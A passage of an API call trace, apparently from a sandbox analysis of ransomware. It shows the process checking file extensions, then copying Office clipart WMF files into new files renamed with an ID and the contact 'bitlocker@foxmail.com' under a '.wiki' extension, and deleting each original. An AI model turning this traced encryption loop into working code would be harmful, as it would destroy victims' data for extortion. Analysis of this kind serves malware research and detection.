lpString2=".WMF") returned -1 [0190.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.241] lstrlenW (lpString=".1cd") returned 4 [0190.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0190.241] lstrlenW (lpString=".jpg") returned 4 [0190.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.241] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.241] lstrlenW (lpString="IN00351_.WMF") returned 12 [0190.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.241] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1928) returned 1 [0190.241] CloseHandle (hObject=0x1d8) returned 1 [0190.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 0x20 [0190.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.242] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.242] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0190.242] GetLastError () returned 0x0 [0190.242] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x788, lpOverlapped=0x0) returned 1 [0190.244] WriteFile (in: hFile=0x214, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x790, lpOverlapped=0x0) returned 1 [0190.245] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.245] WriteFile (in: hFile=0x214, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.245] SetEndOfFile (hFile=0x214) returned 1 [0190.245] CloseHandle (hObject=0x214) returned 1 [0190.245] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.245] SetEndOfFile (hFile=0x1d8) returned 1 [0190.246] CloseHandle (hObject=0x1d8) returned 1 [0190.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0190.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.246] lstrlenW (lpString=".doc") returned 4 [0190.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.246] lstrlenW (lpString=".docx") returned 5 [0190.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.246] lstrlenW (lpString=".pdf") returned 4 [0190.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.246] lstrlenW (lpString=".xls") returned 4 [0190.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.246] lstrlenW (lpString=".xlsx") returned 5 [0190.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.246] lstrlenW (lpString=".ppt") returned 4 [0190.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.247] lstrlenW (lpString=".zip") returned 4 [0190.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.247] lstrlenW (lpString=".rar") returned 4 [0190.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.247] lstrlenW (lpString=".bz2") returned 4 [0190.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.247] lstrlenW (lpString=".7z") returned 3 [0190.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.247] lstrlenW (lpString=".dbf") returned 4 [0190.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.247] lstrlenW (lpString=".1cd") returned 4 [0190.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.247] lstrlenW (lpString=".jpg") returned 4 [0190.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.247] lstrlenW (lpString=".doc") returned 4 [0190.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.247] lstrlenW (lpString=".docx") returned 5 [0190.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.247] lstrlenW (lpString=".pdf") returned 4 [0190.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.247] lstrlenW (lpString=".xls") returned 4 [0190.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.247] lstrlenW (lpString=".xlsx") returned 5 [0190.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.248] lstrlenW (lpString=".ppt") returned 4 [0190.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.248] lstrlenW (lpString=".zip") returned 4 [0190.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.248] lstrlenW (lpString=".rar") returned 4 [0190.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.248] lstrlenW (lpString=".bz2") returned 4 [0190.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.248] lstrlenW (lpString=".7z") returned 3 [0190.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.248] lstrlenW (lpString=".dbf") returned 4 [0190.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.248] lstrlenW (lpString=".1cd") returned 4 [0190.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0190.248] lstrlenW (lpString=".jpg") returned 4 [0190.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.248] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.248] lstrlenW (lpString="IN00557_.WMF") returned 12 [0190.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.249] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=9172) returned 1 [0190.249] CloseHandle (hObject=0x1d8) returned 1 [0190.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 0x20 [0190.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.249] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.249] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0190.250] GetLastError () returned 0x0 [0190.250] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x23d4, lpOverlapped=0x0) returned 1 [0190.251] WriteFile (in: hFile=0x214, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x23e0, lpOverlapped=0x0) returned 1 [0190.252] ReadFile (in: hFile=0x1d8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.252] WriteFile (in: hFile=0x214, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.253] SetEndOfFile (hFile=0x214) returned 1 [0190.253] CloseHandle (hObject=0x214) returned 1 [0190.253] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.253] SetEndOfFile (hFile=0x1d8) returned 1 [0190.253] CloseHandle (hObject=0x1d8) returned 1 [0190.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0190.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.254] lstrlenW (lpString=".doc") returned 4 [0190.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.254] lstrlenW (lpString=".docx") returned 5 [0190.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.254] lstrlenW (lpString=".pdf") returned 4 [0190.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.254] lstrlenW (lpString=".xls") returned 4 [0190.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.254] lstrlenW (lpString=".xlsx") returned 5 [0190.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.254] lstrlenW (lpString=".ppt") returned 4 [0190.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.254] lstrlenW (lpString=".zip") returned 4 [0190.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.254] lstrlenW (lpString=".rar") returned 4 [0190.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.400] lstrlenW (lpString=".bz2") returned 4 [0190.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.400] lstrlenW (lpString=".7z") returned 3 [0190.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.400] lstrlenW (lpString=".dbf") returned 4 [0190.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.400] lstrlenW (lpString=".1cd") returned 4 [0190.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.400] lstrlenW (lpString=".jpg") returned 4 [0190.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.401] lstrlenW (lpString=".doc") returned 4 [0190.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.401] lstrlenW (lpString=".docx") returned 5 [0190.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.401] lstrlenW (lpString=".pdf") returned 4 [0190.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.401] lstrlenW (lpString=".xls") returned 4 [0190.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.401] lstrlenW (lpString=".xlsx") returned 5 [0190.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.401] lstrlenW (lpString=".ppt") returned 4 [0190.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.401] lstrlenW (lpString=".zip") returned 4 [0190.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.401] lstrlenW (lpString=".rar") returned 4 [0190.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.401] lstrlenW (lpString=".bz2") returned 4 [0190.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.401] lstrlenW (lpString=".7z") returned 3 [0190.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.401] lstrlenW (lpString=".dbf") returned 4 [0190.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.401] lstrlenW (lpString=".1cd") returned 4 [0190.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0190.401] lstrlenW (lpString=".jpg") returned 4 [0190.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.402] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.402] lstrlenW (lpString="J0086424.WMF") returned 12 [0190.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.402] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=17016) returned 1 [0190.402] CloseHandle (hObject=0x1e0) returned 1 [0190.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 0x20 [0190.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.403] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.403] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.404] GetLastError () returned 0x0 [0190.404] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x4278, lpOverlapped=0x0) returned 1 [0190.501] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x4280, lpOverlapped=0x0) returned 1 [0190.502] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.502] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.502] SetEndOfFile (hFile=0x218) returned 1 [0190.502] CloseHandle (hObject=0x218) returned 1 [0190.502] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.502] SetEndOfFile (hFile=0x1e0) returned 1 [0190.503] CloseHandle (hObject=0x1e0) returned 1 [0190.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.504] lstrlenW (lpString=".doc") returned 4 [0190.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.504] lstrlenW (lpString=".docx") returned 5 [0190.504] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0190.504] lstrlenW (lpString=".pdf") returned 4 [0190.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.504] lstrlenW (lpString=".xls") returned 4 [0190.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.504] lstrlenW (lpString=".xlsx") returned 5 [0190.504] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0190.504] lstrlenW (lpString=".ppt") returned 4 [0190.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.504] lstrlenW (lpString=".zip") returned 4 [0190.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.504] lstrlenW (lpString=".rar") returned 4 [0190.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.504] lstrlenW (lpString=".bz2") returned 4 [0190.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.504] lstrlenW (lpString=".7z") returned 3 [0190.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.504] lstrlenW (lpString=".dbf") returned 4 [0190.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.504] lstrlenW (lpString=".1cd") returned 4 [0190.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.504] lstrlenW (lpString=".jpg") returned 4 [0190.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.505] lstrlenW (lpString=".doc") returned 4 [0190.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.505] lstrlenW (lpString=".docx") returned 5 [0190.505] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0190.505] lstrlenW (lpString=".pdf") returned 4 [0190.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.505] lstrlenW (lpString=".xls") returned 4 [0190.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.505] lstrlenW (lpString=".xlsx") returned 5 [0190.505] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0190.505] lstrlenW (lpString=".ppt") returned 4 [0190.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.505] lstrlenW (lpString=".zip") returned 4 [0190.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.505] lstrlenW (lpString=".rar") returned 4 [0190.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.505] lstrlenW (lpString=".bz2") returned 4 [0190.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.505] lstrlenW (lpString=".7z") returned 3 [0190.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.505] lstrlenW (lpString=".dbf") returned 4 [0190.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.505] lstrlenW (lpString=".1cd") returned 4 [0190.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0190.505] lstrlenW (lpString=".jpg") returned 4 [0190.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.506] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.506] lstrlenW (lpString="J0086478.WMF") returned 12 [0190.506] 